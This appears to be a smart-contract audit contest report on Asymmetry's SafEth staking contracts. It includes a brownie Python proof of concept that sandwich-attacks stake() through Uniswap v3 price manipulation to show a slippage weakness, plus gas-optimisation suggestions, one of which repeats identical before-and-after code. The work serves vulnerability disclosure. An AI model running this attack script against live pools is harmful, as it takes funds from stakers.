Asymmetry contest - tank's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156-L185

Vulnerability details

Impact

Detailed description of the impact of this finding. users who stake eth from call function stake() in https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63 will get sandwich attack, which users will lose money

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

import brownie


def main():

    MIN_TICK = -887270
    MAX_TICK = -MIN_TICK

    UNISWAP_NPM = "0xC36442b4a4522E871399CD717aBDD847Ab11FE88"
    UNISWAP_ROUTER = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
    router = brownie.interface.ISwapRouter(UNISWAP_ROUTER)
    WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"
    RETH = "0xae78736cd615f374d3085123a210448e74fc6393"

    deployer = brownie.accounts[0]
    safe_eth_impl = brownie.SafEth.deploy({"from": deployer})
    proxy_admin = brownie.ProxyAdminImpl.deploy({"from": deployer})
    safe_eth_proxy = brownie.TransparentUpgradeableProxyImpl.deploy(
        safe_eth_impl,
        proxy_admin,
        safe_eth_impl.initialize.encode_input("123", "456"),
        {"from": deployer},
    )

    reth_impl = brownie.Reth.deploy({"from": deployer})
    reth_proxy = brownie.interface.IAny(
        brownie.TransparentUpgradeableProxyImpl.deploy(
            reth_impl,
            proxy_admin,
            reth_impl.initialize.encode_input(safe_eth_proxy),
            {"from": deployer},
        )
    )

    # add derivative
    safe_eth_proxy = brownie.interface.IAny(safe_eth_proxy)
    safe_eth_proxy.addDerivative(reth_proxy, 100, {"from": deployer})

    # print max slippage (10 ** 16 == 1%)
    print(reth_proxy.maxSlippage())

    # user 1 deposit with 1 eth
    tester_1 = brownie.accounts[1]
    safe_eth_proxy.stake({"from": tester_1, "value": 5 * 10**18})

    hacker = brownie.accounts.at(
        "0xcA8Fa8f0b631EcdB18Cda619C4Fc9d197c8aFfCa", force=True
    )
    rich_reth = brownie.accounts.at(
        "0x202d0bEc720743e0d41503E19B93298B0Dad6531", force=True
    )

    weth = brownie.interface.IWETH(WETH)
    reth = brownie.interface.IWETH(RETH)
    reth.transfer(hacker, 30 * 10**18, {"from": rich_reth})
    weth.deposit({"from": hacker, "value": 1700 * 10**18})
    weth.approve(router, 2**256 - 1, {"from": hacker})

    balance_weth_hacker_before = weth.balanceOf(hacker)

    # manipulate pool (2 times, because runs too slow)
    # add liquidity when to prevent swap from revert
    npm = brownie.interface.IAny(UNISWAP_NPM)
    reth.approve(npm, 2**256 - 1, {"from": hacker})
    weth.approve(npm, 2**256 - 1, {"from": hacker})
    print(reth.balanceOf(hacker))
    print(weth.balanceOf(hacker))
    npm.mint(
        [
            reth,
            weth,
            500,
            800,
            MAX_TICK // 10 * 10,
            30 * 10**18,
            0,
            0,
            0,
            hacker,
            2**256 - 1,
        ],
        {"from": hacker},
    )
    amt_reth_before = reth.balanceOf(hacker)
    router.exactInputSingle(
        [WETH, RETH, 500, hacker, 800 * 10**18, 0, 0], {"from": hacker}
    )

    router.exactInputSingle(
        [WETH, RETH, 500, hacker, 750 * 10**18, 0, 0], {"from": hacker}
    )
    amt_reth_get = reth.balanceOf(hacker) - amt_reth_before

    # user 2 deposit with 1 eth (but get sandwich attack)
    tester_2 = brownie.accounts[2]
    safe_eth_proxy.stake({"from": tester_2, "value": 5 * 10**18})

    print("tester1 safeeth balance:", safe_eth_proxy.balanceOf(tester_1))
    print("tester2 safeeth balance:", safe_eth_proxy.balanceOf(tester_2))

the setup is 1.) slippage is 1% 2.) tester 1 deposit 5 ETH with normal condition (no one manipulate the pool price) 3.) tester 2 (victim) deposit 5 ETH after tester 1

the attack scenario is as follow 1.) attacker mint new uniswap v3 position in npm to let victim be able to swap to high price (with no revert)

• attacker won't lose any things, cause he will provide in the range that has no liquidity 2.) attacker pump the RETH price 3.) victim buy the RETH with the higher price than usual because the RETH pool is full 4.) attack dump the RETH price back to make some profit 5.) these are the shares of each users after they call stake() -) tester1 safeeth balance: 4997550693942207463 -) tester2 (victim) safeeth balance: 4896169959812392986 as you can see, the slippage setting is 1%, but tester 2 (victim) get 2% less share than tester1 (normal). So the slippage is invalid here.

Tools Used

brownie

Recommended Mitigation Steps

• let user input their own slippage in SafEth.sol: https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63

function stake() -> function stake(uint minMintAmount)

1. use a lot of same storage variables

• derivativeCount uses a lot of time, should load to memory first

ref: https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L165-L175 from

    function adjustWeight(
        uint256 _derivativeIndex,
        uint256 _weight
    ) external onlyOwner {
        weights[_derivativeIndex] = _weight;
        uint256 localTotalWeight = 0;
        for (uint256 i = 0; i < derivativeCount; i++)
            localTotalWeight += weights[i];
        totalWeight = localTotalWeight;
        emit WeightChange(_derivativeIndex, _weight);
    }

to

    function adjustWeight(
        uint256 _derivativeIndex,
        uint256 _weight
    ) external onlyOwner {
        weights[_derivativeIndex] = _weight;
        uint256 localTotalWeight = 0;
        uint256 _derivativeCount = derivativeCount;
        for (uint256 i = 0; i < _derivativeCount; i++)
            localTotalWeight += weights[i];
        totalWeight = localTotalWeight;
        emit WeightChange(_derivativeIndex, _weight);
    }

---

2. use a lot of same storage variables ref: https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L182-L195 from

function addDerivative(
        address _contractAddress,
        uint256 _weight
    ) external onlyOwner {
        derivatives[derivativeCount] = IDerivative(_contractAddress);
        weights[derivativeCount] = _weight;
        derivativeCount++;

        uint256 localTotalWeight = 0;
        for (uint256 i = 0; i < derivativeCount; i++)
            localTotalWeight += weights[i];
        totalWeight = localTotalWeight;
        emit DerivativeAdded(_contractAddress, _weight, derivativeCount);
    }

to

  function addDerivative(
    address _contractAddress,
    uint256 _weight
  ) external onlyOwner {
    uint256 _derivativeCount = derivativeCount;

    derivatives[_derivativeCount] = IDerivative(_contractAddress);
    weights[_derivativeCount] = _weight;
    derivativeCount = ++_derivativeCount;

    totalWeight += _weight;
    emit DerivativeAdded(_contractAddress, _weight, _derivativeCount);
  }

---

3. use storage value instead of memory ref: https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L214-L217 from

  function setMinAmount(uint256 _minAmount) external onlyOwner {
    minAmount = _minAmount;
    emit ChangeMinAmount(minAmount);
  }

to

function setMinAmount(uint256 _minAmount) external onlyOwner {
    minAmount = _minAmount;
    emit ChangeMinAmount(_minAmount);
  }

also the same as function setMaxAmount(...) https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L223-L226

function setPauseStaking(...) https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L232-L235

function setPauseUnstaking(...) https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L232-L235

function setPauseUnstaking(...) https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L241-L244

---

4. use a lot of storage variables ref: https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63-L101 from

function stake() external payable {
   // Getting underlying value in terms of ETH for each derivative
   for (uint i = 0; i < derivativeCount; i++) {
     ...
   }
   
    uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system
    for (uint i = 0; i < derivativeCount; i++) {
       uint256 weight = weights[i];
       ...
   }
}

to

function stake() external payable {
   // Getting underlying value in terms of ETH for each derivative
   uint _derivativeCount = derivativeCount;
   for (uint i = 0; i < _derivativeCount; i++) {
     ...
   }
   
    uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system
    for (uint i = 0; i < _derivativeCount; i++) {
       uint256 weight = weights[i];
       ...
   }
}

---

ref: https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L138-L155 from

function rebalanceToWeights() external onlyOwner {
        uint256 ethAmountBefore = address(this).balance;
        for (uint i = 0; i < derivativeCount; i++) {
            if (derivatives[i].balance() > 0)
                derivatives[i].withdraw(derivatives[i].balance());
        }
        uint256 ethAmountAfter = address(this).balance;
        uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore;

        for (uint i = 0; i < derivativeCount; i++) {
            if (weights[i] == 0 || ethAmountToRebalance == 0) continue;
            uint256 ethAmount = (ethAmountToRebalance * weights[i]) /
                totalWeight;
            // Price will change due to slippage
            derivatives[i].deposit{value: ethAmount}();
        }
        emit Rebalanced();
    }

to

function rebalanceToWeights() external onlyOwner {
        uint256 ethAmountBefore = address(this).balance;
        for (uint i = 0; i < derivativeCount; i++) {
            if (derivatives[i].balance() > 0)
                derivatives[i].withdraw(derivatives[i].balance());
        }
        uint256 ethAmountAfter = address(this).balance;
        uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore;

        for (uint i = 0; i < derivativeCount; i++) {
            if (weights[i] == 0 || ethAmountToRebalance == 0) continue;
            uint256 ethAmount = (ethAmountToRebalance * weights[i]) /
                totalWeight;
            // Price will change due to slippage
            derivatives[i].deposit{value: ethAmount}();
        }
        emit Rebalanced();
    }

---

5. memory variable used only 1 time https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L144-L145 from

uint256 ethAmountAfter = address(this).balance;
uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore;

to

uint256 ethAmountToRebalance = address(this).balance - ethAmountBefore;